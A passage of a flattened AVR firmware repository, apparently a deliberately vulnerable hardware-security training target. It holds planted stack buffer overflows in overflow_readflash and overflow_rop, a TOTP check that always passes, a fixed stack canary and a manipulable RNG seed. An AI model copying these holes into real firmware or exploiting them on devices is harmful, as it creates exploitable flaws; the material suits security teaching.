"\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa"; 202 | 203 | strncpy_P(buffer,((const PROGMEM char *)(troll[index])),26); 204 | 205 | /*for (i=0; i<26; i++) { 206 | buffer[i] ^= 0x01; 207 | //buffer[i] ++; 208 | }*/ 209 | 210 | } 211 | 212 | static void trollTheHacker() { 213 | 214 | volatile uint32_t j; 215 | uint8_t i; 216 | 217 | char buffer[26]; 218 | 219 | serial_printf("Retriving the Admin Key"); 220 | 221 | for (i=1; i<131; i++) { 222 | for (j=0; j<900000; j++) { 223 | 224 | } 225 | serial_printf("."); 226 | if (i%10 == 0) { 227 | returnTrollString(buffer,i/10); 228 | 229 | serial_printf("%s",buffer); 230 | } 231 | } 232 | } 233 | 234 | static uint8_t verify_int(char *buff) { 235 | int i; 236 | int len; 237 | 238 | len = strlen(buff); 239 | for (i = 0; i < len; i++) 240 | if ( !(isdigit(buff[i]) || buff[i] == '-') ) { 241 | serial_printf_debug("%S", PSTR("int parsing routine detected invalid characters\r\n")); 242 | return 0; 243 | } 244 | 245 | if ( !((buff[0] == '-' && len == 2) || len == 1) ) { 246 | serial_printf_debug("%S", PSTR("int parsing routine detected invalid input size\r\n")); 247 | return 0; 248 | } 249 | 250 | return 1; 251 | } 252 | -------------------------------------------------------------------------------- /source/menu/menu.h: -------------------------------------------------------------------------------- 1 | #ifndef MENU_H 2 | #define MENU_H 3 | 4 | void menu_main(void); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /source/overflow_readflash/build.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | set -euo pipefail 4 | 5 | GCC_OPTIMIZATION_FLAG="-O0" 6 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c overflow_readflash.c 7 | 8 | echo "$(pwd)/overflow_readflash.o" 9 | -------------------------------------------------------------------------------- /source/overflow_readflash/overflow_readflash.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "serial_io.h" 6 | #include "eeprom_rw.h" 7 | 8 | #define CANARY 0xc7 9 | #define READ_ADDR_MAX 0x3500 10 | 11 | const char config_string[] PROGMEM = 12 | "MCU family\tATMega328P\r\n" 13 | "Firmware\t1.2.0-ALPHA\r\n" 14 | "Build date\t01-10-2015\r\n" 15 | "Build flags\t-O +x --eep rw --pgmem r --debug\r\n" 16 | "\r\n"; 17 | 18 | static uint8_t totp_validation(uint32_t); 19 | 20 | void overflow_readflash(void) { 21 | /* 22 | * the order of the locals below is rather important because of 23 | * how they are ultimately placed in the compiled binary 24 | * the required placement at runtime needs(!!!) to be 25 | * confstr_addr high address 26 | * buff low address 27 | */ 28 | volatile uint8_t continue_read = 1; 29 | volatile uint8_t protected_mem; 30 | volatile uint8_t str_byte; 31 | volatile char buff[20]; // 20 bytes 32 | volatile uint16_t confstr_addr; // 2 bytes 33 | // 22 bytes in total 34 | volatile uint8_t nocrash; 35 | confstr_addr = (uint16_t)(&config_string); 36 | 37 | serial_printf("%S", PSTR("Please insert your TOTP user token\r\n")); 38 | serial_read((char *)buff, 23); // 22 calculated above + 1 for \0 39 | serial_printf("%S", PSTR("\r\n")); 40 | 41 | serial_printf("%S", PSTR("Contacting TOTP validation server\r\n")); 42 | if ( totp_validation( atoi((char *)buff) ) ) { 43 | serial_printf("%S", PSTR("Token validated\r\n")); 44 | 45 | str_byte = pgm_read_byte_near(confstr_addr++); 46 | while (str_byte != 0) { 47 | protected_mem = eeprom_is_memory_protected(); 48 | if ( protected_mem == 1 && confstr_addr > READ_ADDR_MAX ) 49 | continue_read = 0; 50 | 51 | if (continue_read == 1) { 52 | serial_printf("%c", str_byte); 53 | str_byte = pgm_read_byte_near(confstr_addr++); 54 | } else { 55 | serial_printf("%S", PSTR("\r\n")); 56 | serial_printf_debug("%S", PSTR("instruction at untrusted address attempted to read from unauthorized memory address\r\n")); 57 | break; 58 | } 59 | } 60 | } 61 | } 62 | 63 | static uint8_t totp_validation(uint32_t token) { 64 | serial_printf_debug("%S", PSTR("function totp_validation not implemented\r\n")); 65 | serial_printf_debug("%S", PSTR("returning 1\r\n")); 66 | return 1; 67 | } 68 | -------------------------------------------------------------------------------- /source/overflow_readflash/overflow_readflash.h: -------------------------------------------------------------------------------- 1 | #ifndef OVERFLOW_READFLASH_H 2 | #define OVERFLOW_READFLASH_H 3 | 4 | void overflow_readflash(void); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /source/overflow_rop/build.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | set -euo pipefail 4 | 5 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c overflow_rop.c 6 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c examine_stack.c 7 | 8 | echo "$(pwd)/overflow_rop.o $(pwd)/examine_stack.o" 9 | -------------------------------------------------------------------------------- /source/overflow_rop/examine_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "serial_io.h" 4 | 5 | uint8_t lo; 6 | uint8_t hi; 7 | 8 | void examine_stack(void) { 9 | volatile uint8_t *ptr; // two bytes 10 | volatile uint8_t i; // one byte 11 | 12 | /* 13 | * here we get the current stack pointer 14 | * by the time this code gets executed, 11 bytes 15 | * are pushed (return address and 9 registers) 16 | * 17 | * after this code gets executed, the [hi;lo] 18 | * pointer will be 9 bytes(/registers) distance 19 | * from the return address of the current frame 20 | */ 21 | 22 | asm volatile( 23 | "in r18, 0x3d \n\t" 24 | "in r19, 0x3e \n\t" 25 | "sts hi, r18 \n\r" 26 | "sts lo, r19 \n\t" 27 | : 28 | : 29 | : "r18", "r19" 30 | ); 31 | 32 | ptr = lo; 33 | ptr = (uint8_t *)((uint16_t)ptr << 8); 34 | ptr = (uint8_t *)((uint16_t)ptr | hi); 35 | 36 | for (i = 0; i < 16 * 3; i++) { 37 | if ( i % 16 == 0 ) 38 | serial_printf("\r\n"); 39 | serial_printf("%02x ", ptr[i + 10]); // calculated above 40 | } 41 | serial_printf("\r\n"); 42 | } 43 | -------------------------------------------------------------------------------- /source/overflow_rop/examine_stack.h: -------------------------------------------------------------------------------- 1 | #ifndef EXAMINE_STACK_H 2 | #define EXAMINE_STACK_H 3 | 4 | void examine_stack(void); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /source/overflow_rop/overflow_rop.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "serial_io.h" 7 | #include "examine_stack.h" 8 | 9 | #define CANARY 0xc8 10 | #define READ_ADDR_MAX 0x2500 11 | 12 | extern char *inbuff; 13 | 14 | static uint8_t validate_len(char *, uint8_t); 15 | void send_ics_command(void); 16 | 17 | void overflow_rop(void) { 18 | /* 19 | * the order of the locals below is rather important because of 20 | * how they are ultimately placed in the compiled binary 21 | * the required placement at runtime needs(!!!) to be 22 | * canary highest address 23 | * buff lowest address 24 | */ 25 | uint32_t len; 26 | int8_t i; 27 | volatile char buff[6]; 28 | volatile uint8_t canary = CANARY; 29 | 30 | /* 31 | * to check that the locals are placed correctly in memory, decomment 32 | * the following lines and make sure the addresses are printed from 33 | * lowest to highest 34 | */ 35 | serial_printf("%p\r\n", buff); 36 | serial_printf("%p\r\n", &canary); 37 | 38 | serial_printf("%S", PSTR("Insert instruction length (min 0, max 4)\r\n")); 39 | serial_read(inbuff, INBUFF_LEN); 40 | serial_printf("%S", PSTR("\r\n")); 41 | if ( validate_len(inbuff, INBUFF_LEN) ) { 42 | len = strtoul(inbuff, NULL, 10); 43 | serial_printf("Length %x\r\n", len); 44 | 45 | serial_printf("%S", PSTR("Insert instruction opcode\r\n")); 46 | serial_printf("%S", PSTR("")); 47 | serial_read((char *)buff, len + 1); 48 | serial_printf("%S", PSTR("\r\n")); 49 | 50 | serial_printf("%S", PSTR("The inserted command was\r\n")); 51 | for (i = 0; i < len; i++) 52 | serial_send_char(buff[i]); 53 | serial_printf("\r\n"); 54 | 55 | if (canary != CANARY) { 56 | serial_printf_debug("%S", PSTR("stack buffer overflow detected\r\n")); 57 | serial_printf_debug("%S", PSTR("disabling terminal\r\n")); 58 | while(1); 59 | } else 60 | send_ics_command(); 61 | } else 62 | serial_printf_debug("%S", PSTR("invalid length\r\n")); 63 | } 64 | 65 | static uint8_t validate_len(char *buff, uint8_t len) { 66 | int k = 0; 67 | 68 | if (buff[0] == '\0') 69 | return 0; 70 | while (buff[k] != '\0') { 71 | if ( !isdigit(buff[k]) ) 72 | return 0; 73 | k++; 74 | } 75 | return 1; 76 | } 77 | 78 | void send_ics_command(void) { 79 | serial_printf_debug("%S", PSTR("function send_ics_command not implemented\r\n")); 80 | } 81 | -------------------------------------------------------------------------------- /source/overflow_rop/overflow_rop.h: -------------------------------------------------------------------------------- 1 | #ifndef OVERFLOW_ROP_H 2 | #define OVERFLOW_ROP_H 3 | 4 | void overflow_rop(void); 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /source/random/README: -------------------------------------------------------------------------------- 1 | The srand and rand functions are available from avr-libc, but the problem is getting a good seed for the random, 2 | hopefully one that is different each time the board is booted. 3 | 4 | Important reading material: 5 | http://maxembedded.com/2011/06/avr-basics/ 6 | http://maxembedded.com/2011/06/port-operations-in-avr/ 7 | http://maxembedded.com/2011/06/the-adc-of-the-avr/ 8 | -------------------------------------------------------------------------------- /source/random/build.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | set -euo pipefail 4 | 5 | DEBUG=1 6 | #RAND_SRC="RAND_PB" 7 | RAND_SRC="RAND_ADC" 8 | 9 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -D$RAND_SRC -c random.c 10 | 11 | if [[ $DEBUG == 1 ]]; then 12 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c random_test.c 13 | avr-gcc $GCC_COMPILE_FLAGS $GCC_LINK_FLAGS -o random_test.elf random_test.o random.o $DEPS 14 | avr-objcopy $OBJCOPY_IHEX_FLAGS random_test.elf random_test.hex 15 | fi 16 | 17 | echo "$(pwd)/random.o" 18 | -------------------------------------------------------------------------------- /source/random/random.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "random.h" 7 | #include "serial_io.h" 8 | 9 | #define LFSR_ROUNDS 10 10 | 11 | static uint32_t gen_seed(void); 12 | static uint32_t lfsr(uint32_t); // linear feedback shift register 13 | 14 | #ifdef RAND_PB 15 | static void random_pb_init(void); 16 | static uint8_t get_pb_rand(void); 17 | 18 | static void random_pb_init(void) { 19 | // set all pins of port B as inputs 20 | DDRB = 0x00; 21 | 22 | // deactivate pull-up registers; make the pins floating 23 | PORTB = 0x00; 24 | } 25 | 26 | static uint8_t get_pb_rand(void) { 27 | return PINB; 28 | } 29 | 30 | #elif defined RAND_ADC 31 | static void random_adc_init(void); 32 | static uint8_t get_adc_rand(void); 33 | 34 | static void random_adc_init(void) { 35 | // AREF = AVcc 36 | ADMUX = (1 << REFS0); 37 | 38 | // ADC Enable and prescaler of 128 39 | // 16000000/128 = 125000 40 | ADCSRA = (1 << ADEN) | (1 << ADPS2) | (1 << ADPS1) | (1 << ADPS0); 41 | } 42 | 43 | static uint8_t get_adc_rand(void) { 44 | /* 45 | * the ADC on the atmega has a resolution of 10 bits only 46 | * although this function return a uint16_t, the 6 MSBs will 47 | * always be the same 48 | */ 49 | 50 | uint8_t ch = 1; // read ADC3 51 | 52 | // select the corresponding channel (0 to 5) 53 | ADMUX = (ADMUX & 0xF8) | ch; 54 | 55 | // start single conversion 56 | // write '1' to ADSC 57 | ADCSRA |= (1 << ADSC); 58 | 59 | // wait for conversion to complete 60 | // ADSC becomes '0' again 61 | // till then, run loop continuously 62 | while ( ADCSRA & (1 << ADSC) ); 63 | 64 | return (uint8_t)(ADC); 65 | } 66 | 67 | #endif 68 | 69 | void random_init(void) { 70 | #ifdef RAND_PB 71 | random_pb_init(); 72 | #elif defined RAND_ADC 73 | random_adc_init(); 74 | #endif 75 | } 76 | 77 | uint8_t get_random_hw(void) { 78 | uint8_t r; 79 | #ifdef RAND_PB 80 | r = get_pb_rand(); 81 | #elif defined RAND_ADC 82 | r = get_adc_rand(); 83 | #endif 84 | return r; 85 | } 86 | 87 | uint32_t get_random_uint32_t(void) { 88 | /* 89 | * we use srandom and random instead of srand and rand because the former 90 | * operate on unsigned long instead 91 | * 92 | * calling srandom every time is probably not a great idea (lol..) 93 | * especially since eeprom can be changed at runtime with a programmer 94 | * thus ensuring the same random numbers are returned each time 95 | */ 96 | uint32_t rnd; 97 | 98 | srandom( gen_seed() ); 99 | 100 | rnd = random() & 0xFFFF; 101 | rnd <<= 16; 102 | rnd |= random() & 0xFFFF; 103 | 104 | return lfsr(rnd); 105 | } 106 | 107 | static uint32_t gen_seed(void) { 108 | uint8_t i, aux; 109 | uint32_t seed; 110 | 111 | seed = 0; 112 | for (i = 0; i < 32; i++) { 113 | /* 114 | * for each bit, a modified von neumann corrector is applied 115 | * to the last two bits of the hardware random number generator 116 | * 117 | * this is modified because we want the RNG to be easily manipulated 118 | * when the ADC is connected to GND and returns 0 always 119 | */ 120 | 121 | aux = get_random_hw() & 0b11; 122 | while (aux == 0b01 || aux == 0b11) 123 | aux = get_random_hw() & 0b11; 124 | 125 | if (aux == 0b10) 126 | seed |= 1; 127 | else if (aux == 0b00) 128 | seed |= 0; 129 | 130 | seed <<= 1; 131 | } 132 | 133 | return seed; 134 | } 135 | 136 | static uint32_t lfsr(uint32_t input) { 137 | uint32_t output; 138 | uint32_t bit; 139 | int i; 140 | 141 | for (i = 0; i < LFSR_ROUNDS; i++) { 142 | bit = (input >> 7) ^ (input >> 15) ^ (input >> 19) ^ (input >> 22) ^ (input >> 26) ^ (input >> 29); 143 | bit &= 1; 144 | output = (input >> 1) | (bit << 31); 145 | } 146 | 147 | return output; 148 | } 149 | -------------------------------------------------------------------------------- /source/random/random.h: -------------------------------------------------------------------------------- 1 | #ifndef RANDOM_H 2 | #define RANDOM_H 3 | 4 | void random_init(void); 5 | uint8_t get_random_hw(void); 6 | uint32_t get_random_uint32_t(void); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /source/random/random_test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "serial_io.h" 5 | #include "random.h" 6 | 7 | static void byte_to_str(uint8_t, char *); 8 | 9 | int main(void) { 10 | int i; 11 | uint16_t vals[256]; 12 | char buff[9]; 13 | 14 | serial_init(); 15 | random_init(); 16 | 17 | for (i = 0; i < 256; i++) 18 | vals[i] = 0; 19 | 20 | for (i = 0; i < 200; i++) { 21 | _delay_ms(5); 22 | vals[ get_random_hw() ]++; 23 | } 24 | 25 | serial_printf("\r\n"); 26 | for (i = 0; i < 256; i++) 27 | if (vals[i] != 0) { 28 | byte_to_str(i, buff); 29 | serial_printf("%s %d\r\n", buff, vals[i]); 30 | } 31 | 32 | while(1); 33 | return 0; 34 | } 35 | 36 | static void byte_to_str(uint8_t byte, char *output) { // exptected to have at least 8 chars + '\0' 37 | int8_t i, j; 38 | 39 | i = 7; 40 | while(byte) { 41 | for (j = i; j < 7; j++) 42 | output[j] = output[j + 1]; 43 | output[7] = '0' + byte % 2; 44 | i--; 45 | byte /= 2; 46 | } 47 | 48 | for (j = i; j >= 0; j--) 49 | output[j] = '0'; 50 | 51 | output[8] = '\0'; 52 | } 53 | -------------------------------------------------------------------------------- /source/serial/README: -------------------------------------------------------------------------------- 1 | The usartx code is based on a library which is available online at: 2 | http://www.seanet.com/~karllunt/atxmegasource.html 3 | 4 | The raw uart code is based on a docs available online in the datasheet 5 | and some extra c magic from yours truly. Some very nice explanations at: 6 | https://hekilledmywire.wordpress.com/2011/01/05/using-the-usartserial-tutorial-part-2/ 7 | 8 | The software uart code is from avrfreaks 9 | http://www.avrfreaks.net/forum/code-c-avr-gcc-software-transmit-only-uart 10 | -------------------------------------------------------------------------------- /source/serial/build.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | set -euo pipefail 4 | 5 | DEBUG=0 6 | 7 | if [[ $BOARD_FAMILY == "ATX_MEGA" ]]; then 8 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c usartx.c 9 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c serial_io.c 10 | echo "$(pwd)/usartx.o $(pwd)/serial_io.o" 11 | elif [[ $BOARD_FAMILY == "AT_MEGA" ]]; then 12 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c dbg_putchar.c 13 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c usart.c 14 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c serial_io.c 15 | echo "$(pwd)/dbg_putchar.o $(pwd)/usart.o $(pwd)/serial_io.o" 16 | fi 17 | 18 | if [[ $DEBUG == 1 ]]; then 19 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c serial_test.c 20 | 21 | >&2 echo "Building serial module in DEBUG mode" 22 | if [[ $BOARD_FAMILY == "ATX_MEGA" ]]; then 23 | avr-gcc $GCC_COMPILE_FLAGS $GCC_LINK_FLAGS -o serial_test.elf usartx.o serial_io.o serial_test.o $DEPS 24 | avr-objcopy $OBJCOPY_IHEX_FLAGS serial_test.elf serial_test.hex 25 | 26 | elif [[ $BOARD_FAMILY == "AT_MEGA" ]]; then 27 | avr-gcc $GCC_COMPILE_FLAGS $GCC_LINK_FLAGS -o serial_test.elf dbg_putchar.o usart.o serial_io.o serial_test.o $DEPS 28 | avr-objcopy $OBJCOPY_IHEX_FLAGS serial_test.elf serial_test.hex 29 | fi 30 | fi 31 | -------------------------------------------------------------------------------- /source/serial/dbg_putchar.c: -------------------------------------------------------------------------------- 1 | /* 2 | * ---------------------------------------------------------------------------- 3 | * "THE BEER-WARE LICENSE" (Revision 42, by Joerg Wunsch): 4 | * wrote this file. As long as you retain this notice 5 | * you can do whatever you want with this stuff. If we meet some day, and you 6 | * think this stuff is worth it, you can buy me a beer in return. 7 | * Dimitar Dimitrov 8 | * ---------------------------------------------------------------------------- 9 | */ 10 | 11 | #include 12 | #include 13 | #include 14 | 15 | #include "dbg_putchar.h" 16 | 17 | #if DBG_UART_ENABLE 18 | 19 | void dbg_putchar(uint8_t c) 20 | { 21 | #define DBG_UART_TX_NUM_DELAY_CYCLES ((F_CPU/DBG_UART_BAUDRATE-16)/4+1) 22 | #define DBG_UART_TX_NUM_ADD_NOP ((F_CPU/DBG_UART_BAUDRATE-16)%4) 23 | uint8_t sreg; 24 | uint16_t tmp; 25 | uint8_t numiter = 10; 26 | 27 | sreg = SREG; 28 | cli(); 29 | 30 | asm volatile ( 31 | /* put the START bit */ 32 | "in %A0, %3" "\n\t" /* 1 */ 33 | "cbr %A0, %4" "\n\t" /* 1 */ 34 | "out %3, %A0" "\n\t" /* 1 */ 35 | /* compensate for the delay induced by the loop for the 36 | * other bits */ 37 | "nop" "\n\t" /* 1 */ 38 | "nop" "\n\t" /* 1 */ 39 | "nop" "\n\t" /* 1 */ 40 | "nop" "\n\t" /* 1 */ 41 | "nop" "\n\t" /* 1 */ 42 | 43 | /* delay */ 44 | "1:" "ldi %A0, lo8(%5)" "\n\t" /* 1 */ 45 | "ldi %B0, hi8(%5)" "\n\t" /* 1 */ 46 | "2:" "sbiw %A0, 1" "\n\t" /* 2 */ 47 | "brne 2b" "\n\t" /* 1 if EQ, 2 if NEQ */ 48 | #if DBG_UART_TX_NUM_ADD_NOP > 0 49 | "nop" "\n\t" /* 1 */ 50 | #if DBG_UART_TX_NUM_ADD_NOP > 1 51 | "nop" "\n\t" /* 1 */ 52 | #if DBG_UART_TX_NUM_ADD_NOP > 2 53 | "nop" "\n\t" /* 1 */ 54 | #endif 55 | #endif 56 | #endif 57 | /* put data or stop bit */ 58 | "in %A0, %3" "\n\t" /* 1 */ 59 | "sbrc %1, 0" "\n\t" /* 1 if false,2 otherwise */ 60 | "sbr %A0, %4" "\n\t" /* 1 */ 61 | "sbrs %1, 0" "\n\t" /* 1 if false,2 otherwise */ 62 | "cbr %A0, %4" "\n\t" /* 1 */ 63 | "out %3, %A0" "\n\t" /* 1 */ 64 | 65 | /* shift data, putting a stop bit at the empty location */ 66 | "sec" "\n\t" /* 1 */ 67 | "ror %1" "\n\t" /* 1 */ 68 | 69 | /* loop 10 times */ 70 | "dec %2" "\n\t" /* 1 */ 71 | "brne 1b" "\n\t" /* 1 if EQ, 2 if NEQ */ 72 | : "=&w" (tmp), /* scratch register */ 73 | "=r" (c), /* we modify the data byte */ 74 | "=r" (numiter) /* we modify number of iter.*/ 75 | : "I" (_SFR_IO_ADDR(DBG_UART_TX_PORT)), 76 | "M" (1< wrote this file. As long as you retain this notice 5 | * you can do whatever you want with this stuff. If we meet some day, and you 6 | * think this stuff is worth it, you can buy me a beer in return. 7 | * Dimitar Dimitrov 8 | * ---------------------------------------------------------------------------- 9 | */ 10 | 11 | #ifndef DBG_PUTCHAR_H 12 | #define DBG_PUTCHAR_H 13 | 14 | #include 15 | 16 | /* User setting -> Whether to enable the software UART */ 17 | #define DBG_UART_ENABLE 1 18 | 19 | /* User setting -> Output pin the software UART */ 20 | #define DBG_UART_TX_PORT PORTB 21 | #define DBG_UART_TX_DDR DDRB 22 | #define DBG_UART_TX_PIN PB0 23 | 24 | /* User setting -> Software UART baudrate. */ 25 | #define DBG_UART_BAUDRATE 9600 26 | 27 | 28 | /* ---- DO NOT TOUCH BELOW THIS LINE ---- */ 29 | 30 | #if DBG_UART_ENABLE 31 | 32 | /** 33 | * @brief Debug software UART initialization. 34 | */ 35 | #define dbg_tx_init() do { \ 36 | DBG_UART_TX_PORT |= (1< 2 | 3 | #include "dbg_putchar.h" 4 | #include "serial_io.h" 5 | 6 | char prbuff[PRBUFF_LEN]; 7 | 8 | #ifdef ATX_MEGA 9 | 10 | void serial_printf(const char *format, ...) { 11 | va_list args; 12 | 13 | va_start(args, format); 14 | vprintf(format, args); 15 | va_end(args); 16 | } 17 | 18 | void serial_read(char *buffer, uint8_t len) { 19 | getsedit(buffer, len, NULL); 20 | } 21 | 22 | #elif defined AT_MEGA 23 | 24 | void serial_send_char(char c) { 25 | usart_send_byte(c); 26 | } 27 | 28 | void serial_printf(const char *format, ...) { 29 | va_list args; 30 | 31 | va_start(args, format); 32 | vsnprintf(prbuff, PRBUFF_LEN, format, args); 33 | usart_print(prbuff); 34 | va_end(args); 35 | } 36 | 37 | void serial_printf_debug(const char *format, ...) { 38 | va_list args; 39 | 40 | va_start(args, format); 41 | vsnprintf(prbuff, PRBUFF_LEN, format, args); 42 | dbg_puts(prbuff); 43 | va_end(args); 44 | } 45 | 46 | void serial_read(char *buffer, uint8_t len) { 47 | usart_read_str(buffer, len); 48 | } 49 | 50 | #endif 51 | -------------------------------------------------------------------------------- /source/serial/serial_io.h: -------------------------------------------------------------------------------- 1 | #ifndef SERIAL_IO_H 2 | #define SERIAL_IO_H 3 | 4 | #include 5 | 6 | #include "dbg_putchar.h" 7 | 8 | #ifdef ATX_MEGA 9 | 10 | #include "usartx.h" 11 | 12 | #elif defined AT_MEGA 13 | 14 | #include "usart.h" 15 | 16 | #endif 17 | 18 | //#define ENABLE_DEBUG 1 19 | 20 | #ifdef ENABLE_DEBUG 21 | #define DEBUG_PRINT(x, args...) serial_printf(x, args) 22 | #else 23 | #define DEBUG_PRINT(x, args...) 24 | #endif 25 | 26 | void serial_send_char(char); 27 | void serial_printf(const char *, ...); 28 | void serial_printf_debug(const char *, ...); 29 | void serial_read(char *, uint8_t); 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /source/serial/serial_test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "dbg_putchar.h" 6 | #include "serial_io.h" 7 | 8 | int main(void) { 9 | char buff[20]; 10 | 11 | //serial_init(); 12 | 13 | dbg_tx_init(); 14 | serial_printf_debug("\r\nlolz"); 15 | 16 | //serial_printf("Testing output\r\n"); 17 | //serial_printf("Testing input... type something and press enter\r\n"); 18 | //serial_read(buff, 20); 19 | //serial_printf("\r\n"); 20 | //serial_printf("You typed \"%s\"\r\n", buff); 21 | 22 | while(1); 23 | return 0; 24 | } 25 | -------------------------------------------------------------------------------- /source/serial/usart.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "usart.h" 4 | 5 | static uint8_t append_char(char *, uint8_t, uint8_t, uint8_t); 6 | 7 | void serial_init(void) { 8 | // set baud rate 9 | uint16_t baud = BAUD_PRESCALLER; 10 | UBRR0H = (uint8_t)(baud >> 8 ); 11 | UBRR0L = (uint8_t)baud; 12 | 13 | // enable received and transmitter 14 | UCSR0B = (1 << RXEN0) | (1 << TXEN0); 15 | 16 | // set frame format (8N1) 17 | UCSR0C = (1 << UCSZ00) | (1 << UCSZ01); 18 | } 19 | 20 | void usart_send_byte(uint8_t byte) { 21 | // wait for empty transmit buffer 22 | while ( !(UCSR0A & (1 << UDRE0)) ) 23 | ; 24 | // send byte 25 | UDR0 = byte; 26 | } 27 | 28 | // write a string to the usart 29 | void usart_print(char *s) { 30 | while (*s != 0) 31 | usart_send_byte( *(s++) ); 32 | } 33 | 34 | uint8_t usart_data_available(void) { 35 | if ( UCSR0A & (1 << RXC0) ) 36 | return 1; 37 | return 0; 38 | } 39 | 40 | uint8_t usart_recv_byte(void) { 41 | // wait until data is available 42 | while ( !usart_data_available() ) 43 | ; 44 | // read byte 45 | return UDR0; 46 | } 47 | 48 | void usart_read_str(char *str, uint8_t max) { 49 | uint8_t k, eos, ch, ch2; 50 | 51 | k = 0; // index of first free position in the string 52 | eos = 0; // end of string, used as boolean 53 | 54 | while (!eos) { 55 | ch = usart_recv_byte(); 56 | 57 | //if (ch == '\r' || ch == '\n') // user pressed enter 58 | if (ch == '\r') { 59 | ch2 = usart_recv_byte(); 60 | 61 | if (ch2 == '\n') 62 | eos = 1; 63 | else { 64 | k = append_char(str, ch, k, max); 65 | k = append_char(str, ch2, k, max); 66 | } 67 | } 68 | //else if (ch == '\b') { // user pressed backspace 69 | // if (k > 0) { 70 | // usart_send_byte('\b'); // move cursor one char back 71 | // usart_send_byte(' '); // override char with a space 72 | // usart_send_byte('\b'); // move cursor one char back again 73 | // k--; 74 | // } 75 | //} 76 | else { 77 | //if (0x20 <= ch && ch <= 0x7e) // here we check for printable characters 78 | // usart_send_byte(ch); 79 | //if (k < max - 1) // -1 becase \0 at end 80 | // str[k++] = ch; 81 | k = append_char(str, ch, k, max); 82 | } 83 | } 84 | 85 | // terminate string accordingly 86 | str[k] = '\0'; 87 | } 88 | 89 | static uint8_t append_char(char *str, uint8_t ch, uint8_t k, uint8_t max) { 90 | if (k < max - 1) 91 | str[k++] = ch; 92 | return k; 93 | } 94 | -------------------------------------------------------------------------------- /source/serial/usart.h: -------------------------------------------------------------------------------- 1 | #ifndef USART_H 2 | #define USART_H 3 | 4 | #include 5 | 6 | # define USART_BAUDRATE 1000000 7 | # define BAUD_PRESCALLER ((( F_CPU / ( USART_BAUDRATE * 16UL))) - 1) 8 | 9 | void serial_init(void); 10 | 11 | void usart_send_byte(uint8_t); 12 | void usart_print(char *); 13 | uint8_t usart_data_available(void); 14 | uint8_t usart_recv_byte(void); 15 | void usart_read_str(char *, uint8_t); 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /source/serial/usartx.c: -------------------------------------------------------------------------------- 1 | /* 2 | * usartx.c USART code for an ATxmega-based single-board computer 3 | * 4 | * These routines provide support for stream I/O and can be hooked into 5 | * stdin, stdout, and stderr. 6 | * 7 | * This module provides support for all eight USARTs on the ATxmega128a1 8 | * and related devices. For details on using these routines, consult the 9 | * associated usart.h header file. 10 | * 11 | * This code has been developed and tested on an Atmel Xplained board, using 12 | * USARTD0 (header J3) as the serial device. 13 | * 14 | * This file can be built as a standalone library, provided you create a 15 | * suitable makefile. For testing purposes, I've included a small main() 16 | * function at the end of this file. You can build this file as a 17 | * standalone project, download it to an Xplained board, and use TeraTerm 18 | * (or other comm program) to exchange serial data with the Xplained board. 19 | */ 20 | 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | /* 27 | * This file must create the FILE objects, so define OWNER here. 28 | */ 29 | #define OWNER 30 | 31 | #include "usartx.h" 32 | 33 | 34 | #ifndef STDIN_FILENO 35 | #define STDIN_FILENO 0 36 | #define STDOUT_FILENO 1 37 | #define STDERR_FILENO 2 38 | #endif 39 | 40 | 41 | 42 | 43 | #ifndef NUM_USARTS 44 | #define NUM_USARTS 8 45 | #endif 46 | 47 | 48 | /* 49 | * Create an array of pointers to the various USART I/O registers. 50 | */ 51 | static USART_t *usart[NUM_USARTS] = {&USARTC0, &USARTC1, &USARTD0, &USARTD1, 52 | &USARTE0, &USARTE1, &USARTF0, &USARTF1}; 53 | 54 | /* 55 | * Prototypes for the getchar and putchar functions for any USART. 56 | */ 57 | static int USART_putchar(char c, FILE *stream) __attribute__((noinline)); 58 | static int USART_getchar(FILE *stream) __attribute__((noinline)); 59 | 60 | 61 | /* 62 | * Define the low-level FILEs used for stream I/O by the USARTs. 63 | * 64 | * These FILEs can be used to change the behavior of stdin, stdout, 65 | * and stderr. For example: 66 | * 67 | * stdin = &usartin; 68 | * stdout = &usartout; 69 | * stderr = &usartout; 70 | * 71 | * NOTE: In keeping with the comments in 